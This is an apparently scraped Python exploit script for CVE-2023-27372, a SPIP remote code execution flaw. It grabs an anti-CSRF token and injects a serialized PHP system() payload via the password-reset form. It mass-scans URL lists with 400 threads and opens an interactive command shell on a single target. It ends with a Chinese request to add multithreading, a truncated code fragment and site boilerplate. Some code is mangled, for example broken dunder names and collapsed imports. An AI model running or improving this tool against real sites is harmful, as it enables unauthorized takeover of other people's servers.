import os import re import bs4 import argparse import requests

from rich.console import Console from urllib.parse import urlparse from alive_progress import alive_bar from prompt_toolkit import PromptSession from prompt_toolkit.formatted_text import HTML from prompt_toolkit.history import InMemoryHistory from concurrent.futures import ThreadPoolExecutor, as_completed

class VulnerabilityScanner: def init(self): self.console = Console() self.session = PromptSession(InMemoryHistory()) self.options = self.parseArgs() self.output_file = None

    if self.options.output:
        self.output_file = open(self.options.output, 'w')

def parseArgs(self):
    parser = argparse.ArgumentParser(description="Poc of CVE-2023-27372 SPIP < 4.2.1 - Remote Code Execution by Chocapikk")
    parser.add_argument("-u", "--url", default=None, help="SPIP application base URL")
    parser.add_argument("-v", "--verbose", default=False, action="store_true", help="Verbose mode. (default: False)")
    parser.add_argument("-l", "--list", default=None, help="File with a list of SPIP application base URLs")
    parser.add_argument("-o", "--output", default=None, help="Write output to file")  
    return parser.parse_args()

def get_anticsrf(self, url):
    proxies = {'http': 'http://127.0.0.1:7890', 'https': 'http://127.0.0.1:7890'}
    r = requests.get('%s/spip.php?page=spip_pass' % url, timeout=5, verify=False, proxies=proxies)
    soup = bs4.BeautifulSoup(r.text, 'html.parser')
    csrf_input = soup.find('input', {'name': 'formulaire_action_args'})
    if csrf_input:
        csrf_value = csrf_input['value']
        if self.options.verbose:
            self.console.print(f"[bold green][+] Anti-CSRF token found : {csrf_value}[/bold green]")
        return csrf_value
    else:
        if self.options.verbose:
            self.console.print("[bold red][-] Unable to find Anti-CSRF token[/bold red]")
        return -1

def send_payload(self, url, csrf, payload):
    data = {
    "page": "spip_pass",
    "formulaire_action": "oubli",
    "formulaire_action_args": csrf,
    "oubli": payload
    }
    r = requests.post('%s/spip.php?page=spip_pass' % url, data=data, timeout=3, verify=False)
    if self.options.verbose:
        self.console.print(f"[bold yellow][+] Execute this payload : {payload}[/bold yellow]")
    #print(r.text)    
    return r.text


def parse_output(self, text):
    pattern = re.compile(r'\[S\](.*?)\[E\]', re.DOTALL)
    matches = pattern.findall(text)
    return "\n".join(matches)

def fix_url(self, url):
    parsed_url = urlparse(url)
    return f"{parsed_url.scheme}://{parsed_url.netloc}{parsed_url.path}"

def check_vulnerability_wrapper(self, url):
    for test in range(2):
        output = self.check_vulnerability(url)
        vulnerable = False
        if output:
            self.console.print(f"[bold green][+] The URL {url} is vulnerable with 'whoami' result: {output.strip()}[/bold green]")
            self._write(f"URL: {url} ==> {output.strip()}")
            break

        if not vulnerable and test == 2:
            self.console.print(f"[bold red][-] The URL {url} is not vulnerable[/bold red]")

def _write(self, text):
    if self.output_file:
        self.output_file.write(text + "\n")

def check_vulnerability(self, url):
    csrf = self.get_anticsrf(url)
    if csrf == -1:
        return False

    cmd = "who' . 'ami"
    command_str = "<?php system('echo [' . 'S' . '] ; ' . '%s' . '; echo [' . 'E' . '] ;');?>" % cmd
    payload = "s:%s:\"%s\";" % (len(command_str), command_str)
    result = self.send_payload(url=url, csrf=csrf, payload=payload)
    output = self.parse_output(result)

    if output:
        return output
    else:
        return False

def run(self):
    options = self.options
    urls = []

    requests.packages.urllib3.disable_warnings()
    requests.packages.urllib3.util.ssl_.DEFAULT_CIPHERS += ':HIGH:!DH:!aNULL'
    try:
        requests.packages.urllib3.contrib.pyopenssl.util.ssl_.DEFAULT_CIPHERS += ':HIGH:!DH:!aNULL'
    except AttributeError:
        pass

    if options.list:
        with open(options.list, 'r') as f:
            urls = [self.fix_url(line.strip()) for line in f]

        with open(options.list, 'r') as f:
            urls = [self.fix_url(line.strip()) for line in f]

        with alive_bar(len(urls), bar='notes', spinner='wait', title='Scanning...') as bar:
            with ThreadPoolExecutor(max_workers=400) as executor:
                futures = []
                for url in urls:
                    futures.append(executor.submit(self.check_vulnerability_wrapper, url))
                for future in as_completed(futures):
                    bar()
    

    elif options.url:
        session = PromptSession(InMemoryHistory())
        if self.check_vulnerability(options.url):
            while True:
                try:
                    cmd = session.prompt(HTML('<ansired><b># </b></ansired>'))
                    if cmd.lower() == "exit":
                        break
                    elif cmd.lower() == "clear":
                        if os.name == 'posix':
                            os.system('clear')
                        elif os.name == 'nt':
                            os.system('cls')
                        continue
                    
                    command_str = "<?php system('echo [' . 'S' . '] ; ' . '%s' . '; echo [' . 'E' . '] ;');?>" % cmd
                    payload = "s:%s:\"%s\";" % (len(command_str), command_str)
                    csrf = self.get_anticsrf(url=options.url)
                    result = self.send_payload(url=options.url, csrf=csrf, payload=payload)
                    output = self.parse_output(result)
                    self.console.print(f"[bold green]{output}[/bold green]")
                    
                except KeyboardInterrupt:
                    self.console.print(f"[bold yellow][+] Exiting...[/bold yellow]")
                    break    
    else:
        self.console.print(f"[bold red][-] Not vulnerable[/bold red]")    

    if self.output_file:
        self.output_file.close()

if name == 'main': scanner = VulnerabilityScanner() scanner.run(

加上多线程给我修改过后的完整代码import osimport reimport bs4import argparseimport requestsfrom richconsole import Consolefrom urllibparse import urlparsefrom alive_progress import alive_barfrom prompt_toolkit import

原文地址: https://www.cveoy.top/t/topic/h2vN 著作权归作者所有。请勿转载和采集!

免费AI点我,无需注册和登录